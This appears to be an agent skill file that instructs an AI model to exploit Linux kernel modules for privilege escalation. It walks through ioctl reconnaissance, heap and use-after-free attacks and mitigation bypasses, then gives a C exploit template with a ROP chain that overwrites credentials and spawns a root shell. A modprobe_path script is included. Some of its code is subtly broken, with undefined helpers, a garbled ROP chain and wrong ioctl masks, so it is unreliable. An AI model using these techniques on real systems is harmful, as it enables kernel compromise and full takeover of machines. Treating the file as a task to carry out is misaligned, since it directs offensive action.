linux-driver-exploit

name	Linux Driver Exploit
description	Linux kernel module exploitation — ioctl vulnerabilities, heap overflow, cred struct escalation
tags	["linux","driver","kernel","exploit","ioctl","privilege-escalation","kmod"]

Task: Linux Kernel Module Exploitation. Exploit vulnerabilities in Linux kernel modules for privilege escalation.

Phase 1: Module Reconnaissance

Identify Attack Surface

1. Find module_init:
   - Entry point: module_init or init_module
   - Sets up file_operations, miscdevice, cdev

2. Extract device registration:
   - misc_register
   - register_chrdev
   - __register_chrdev

3. Map ioctl handlers:
   - file_operations.unlocked_ioctl
   - file_operations.compat_ioctl
   - .compat_ioctl and .unlocked_ioctl pointers

Device File Access

1. Find device file: /dev/module_name
2. Check permissions: ls -l /dev/
3. Open with open() syscall
4. Send ioctl commands

IOCTL Command Decoding

#define IOC_TYPE    0xFF000000  // Magic number
#define IOC_NR      0x0000FF00  // Command number
#define IOC_SIZE    0x3FFF0000  // Size
#define IOC_DIR     0xC0000000  // Direction (none/read/write)

// _IOC(dir, type, nr, size)
// _IOR(type, nr, size)  - Read
// _IOW(type, nr, size)  - Write
// _IOWR(type, nr, size) - Read/Write

Phase 2: Vulnerability Classes

Missing Cap Checks

Pattern: No capability verification
- copy_from_user without checks
- Arbitrary kernel operations
- Missing capable() calls

Common targets:
- capable(CAP_SYS_ADMIN)
- capable(CAP_NET_ADMIN)
- capable(CAP_SYS_RAWIO)

Heap Overflow (slub/kmalloc)

Pattern: kmalloc + unchecked copy
- size = user_size;
- buf = kmalloc(size, GFP_KERNEL);
- copy_from_user(buf, user_buf, size);

Vulnerabilities:
- Integer overflow in size calc
- No upper bound on size
- Overflow into adjacent objects

Targets:
- kmalloc caches (same-size objects)
- Function pointers in objects
- Vtable pointers

Stack Buffer Overflow

Pattern: Fixed stack buffer + user copy
- char buf[128];
- copy_from_user(buf, user, user_size);
- No size validation

Bypass:
- SMEP/PTI: Can't execute user shellcode
- Use ROP: Stack pivot
- KPTI: Swapgs attacks

Use-After-Free

Pattern: kfree without NULLing
- kfree(obj);
- ... obj->method();
- Double-free scenarios

Exploitation:
1. Allocate kernel object (with function ptr)
2. Free object (dangling ptr)
3. Realloc with controlled data
4. Call corrupted function pointer
5. Control kernel execution

Common targets:
- file_operations structures
- tty_operations
- file->private_data

Race Condition (TOCTOU)

Pattern: Check → Use gap
- Non-atomic operations
- Lock-free code paths
- Double-fetch from user

Exploitation:
- Multi-threaded race
- Win between check and use
- corrupt kernel state
- Use-after-free via race

Type Confusion

Pattern: Cast between incompatible types
- Treating object A as object B
- Unsafe type conversions
- Missing type validation

Impact:
- Vtable hijack
- Arbitrary function call
- Memory corruption

Information Leak

Pattern: Uninitialized kernel memory
- __user memcpy without init
- Struct leaks
- Heap content disclosure

Uses:
- Bypass KASLR
- Find kernel base
- Heap spraying
- ROP chain building

Phase 3: Exploit Primitives

Arbitrary Read

// Via missing validation
int fd = open("/dev/vuln_mod", O_RDWR);

struct read_req {
    unsigned long addr;
    void __user *buf;
    size_t size;
};

struct read_req req = {
    .addr = 0xffffffff81000000, // Kernel address
    .buf = output_buffer,
    .size = 0x1000,
};

ioctl(fd, IOCTL_READ, &req);

Arbitrary Write

// Write to kernel address
struct write_req {
    unsigned long addr;
    unsigned long value;
    size_t size;
};

struct write_req req = {
    .addr = target_cred_address,
    .value = 0, // Set uid/gid to 0
    .size = sizeof(unsigned long),
};

ioctl(fd, IOCTL_WRITE, &req);

Heap Spraying

// Spray kmalloc cache with controlled objects
#define SPRAY_SIZE 1000

int fds[SPRAY_SIZE];

// Allocate objects in same cache
for (int i = 0; i < SPRAY_SIZE; i++) {
    fds[i] = open("/dev/spray_device", O_RDWR);
}

// Free holes for target object
for (int i = 0; i < SPRAY_SIZE; i += 2) {
    close(fds[i]);
}

// Trigger vulnerable allocation
// Lands in sprayed hole

Stack Pivot

// ROP gadget for stack pivot
pop rdi; ret
pop rsp; ret  ; Pivot to controlled stack

// Build ROP chain in user memory
// Pivot to user stack
// Bypass SMEP via CR4 modification

Phase 4: Privilege Escalation

Cred Struct Overwrite (Classic)

1. Find current task_struct
2. Locate cred pointer
3. Overwrite uid/gid fields to 0
4. Trigger: shell with root privileges

Offsets (kernel-dependent):
task_struct.cred:     0x8a8
cred.uid:            0x04
cred.gid:            0x08
cred.euid:           0x14
cred.egid:           0x18

Steps:
1. current = current_task() via syscall
2. cred = *(current + cred_offset)
3. cred->uid = 0
4. cred->gid = 0
5. cred->euid = 0
6. cred->egid = 0

commit_creds(prepare_kernel_cred(0))

Classic privilege escalation:

1. Call prepare_kernel_cred(0)
   - Creates root cred struct
   - Returns pointer to new cred

2. Call commit_creds(new_cred)
   - Commits new cred to current task
   - Escalates to root

Symbol resolution:
- prepare_kernel_cred
- commit_creds
- May need KASLR bypass

Implementation:
- Use ROP to call functions
- Pass NULL (or 0) as argument
- Trigger via controlled execution

modprobe_path Overwrite

1. Leak modprobe_path address
2. Build arbitrary write primitive
3. Overwrite modprobe_path with malicious script
4. Trigger execution via invalid binary

Example:
modprobe_path = "/tmp/exploit.sh"

// Trigger:
system("invalid_binary"); // Calls modprobe

// /tmp/exploit.sh:
#!/bin/sh
chmod 777 /flag

timerfd exploit

1. Create timerfd objects
2. Use-After-Free to corrupt
3. Overwrite function pointers
4. Trigger callback

Phase 5: Mitigation Bypass

SMEP Bypass (CR4 bit 20)

Method 1: Native_write_cr4
- Find native_write_cr4()
- ROP to disable SMEP
- Clear bit 20 (0x100000)

Method 2: Stack pivot
- ROP chain to user stack
- Execute from userland
- No kernel shellcode

Method 3: ret2dir
- Map kernel physical memory
- Write shellcode to accessible memory

SMAP/PXN Bypass

Method 1: Disable via CR4
- Clear bit 21 (SMAP)
- Clear UNX bit (PXN on ARM)

Method 2: Data-only attack
- No shellcode execution
- Only data manipulation
- ROP only

KASLR Bypass

Method 1: Info leak
- /proc/kallsyms (if readable)
- dmesg (if not restricted)
- Uninitialized memory
- Heap sprays

Method 2: Pointer leak
- File operations pointers
- Proc file system
- Sysctl interfaces

Method 3: Brute force (32-bit)
- Low entropy
- Spray and pray

KPTI Bypass

Method 1: Swapgs mitigation
- Proper swapgs after user switch
- Use safe return gadgets

Method 2: Full kernel ROP
- Stay in kernel space
- No need for KPTI bypass

CFI/BPF/ Harden

Method 1: Find non-CFI gadgets
- Older kernel code
- Inline assembly
- Specialized functions

Method 2: Data-only exploit
- No code execution needed
- Just data corruption

Phase 6: Exploit Template

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define VULN_READ  _IOR('X', 0x01, struct req)
#define VULN_WRITE _IOW('X', 0x02, struct req)

struct req {
    unsigned long addr;
    unsigned long size;
    void *buf;
};

// Kernel function symbols (after KASLR bypass)
unsigned long prepare_kernel_cred = 0xffffffff8104d000;
unsigned long commit_creds = 0xffffffff8104d100;
unsigned long native_write_cr4 = 0xffffffff8104d200;

void escalate_privs(void) {
    // ROP chain
    unsigned long rop_chain[] = {
        native_write_cr4,      // Disable SMEP
        0x406f0,               // New CR4 value
        prepare_kernel_cred,   // Get root cred
        0,                     // NULL argument
        pop_rdi_ret,           // pop rdi; ret
        commit_creds,          // Commit root cred
        swapgs_restore_regs,   // Return to userspace
        user_shell,            // Execute shell
    };

    // Trigger execution
    execute_rop(rop_chain);
}

int main() {
    int fd = open("/dev/vuln_mod", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // Stage 1: KASLR bypass (info leak)
    struct req read_req = {
        .addr = 0xffffffff81000000,
        .size = 0x1000,
        .buf = malloc(0x1000),
    };

    ioctl(fd, VULN_READ, &read_req);

    // Stage 2: Parse leak for kernel base
    // Update symbol addresses

    // Stage 3: Privilege escalation
    escalate_privs();

    // Stage 4: Root shell
    system("/bin/sh");

    close(fd);
    return 0;
}

Phase 7: Testing

Kernel Debugging Setup

1. QEMU/KVM debugging:
   qemu-system-x86_64 \
     -kernel bzImage \
     -initrd rootfs.cpio \
     -smp 2 -m 2G \
     -netdev user,id=net0 \
     -device e1000,netdev=net0 \
     -gdb tcp::1234 \
     -s

2. GDB connection:
   gdb vmlinux
   (gdb) target remote :1234

3. Useful commands:
   lx-symbols         - Load kernel symbols
   lx-ps              - List processes
   task_struct        - Show task struct
   bt                 - Backtrace

Finding Offsets

1. Boot test kernel
2. Use /proc/kallsyms:
   cat /proc/kallsyms | grep prepare_kernel_cred
   cat /proc/kallsyms | grep commit_creds

3. Use gdb on vmlinux:
   p &((struct task_struct *)0)->cred
   p &((struct cred *)0)->uid

4. Update exploit with offsets

Final Report

[LINUX DRIVER EXPLOIT]
Module: vuln_mod.ko
Device: /dev/vuln_mod
IOCTL: 0x5801 (unlocked_ioctl)

[VULNERABILITY]
Type: Heap overflow in ioctl handler
Impact: Kernel code execution
Severity: CRITICAL

[EXPLOITATION]
1. KASLR bypass: Info leak @ 0xffffffff81000000
2. Primitive: Arbitrary R/W via heap overflow
3. Target: current->cred
4. Method: commit_creds(prepare_kernel_cred(0))
5. Result: Root privileges

[BYPASSES]
- SMEP: native_write_cr4 ROP
- SMAP: Disabled in same chain
- KASLR: Info leak via ioctl

[POC]
1. open("/dev/vuln_mod")
2. ioctl(fd, IOCTL_VULN, rop_chain)
3. system("/bin/sh") // Runs as root

Severity: CRITICAL
Affected: Linux kernels 4.x - 6.x
Fix: Add bounds checking, validate sizes

Tools

• GDB + kgdb: Kernel debugging
• vmlinux: Kernel symbol file
• /proc/kallsyms: Runtime symbols
• IDA Pro/Ghidra: Module RE
• QEMU: Testing environment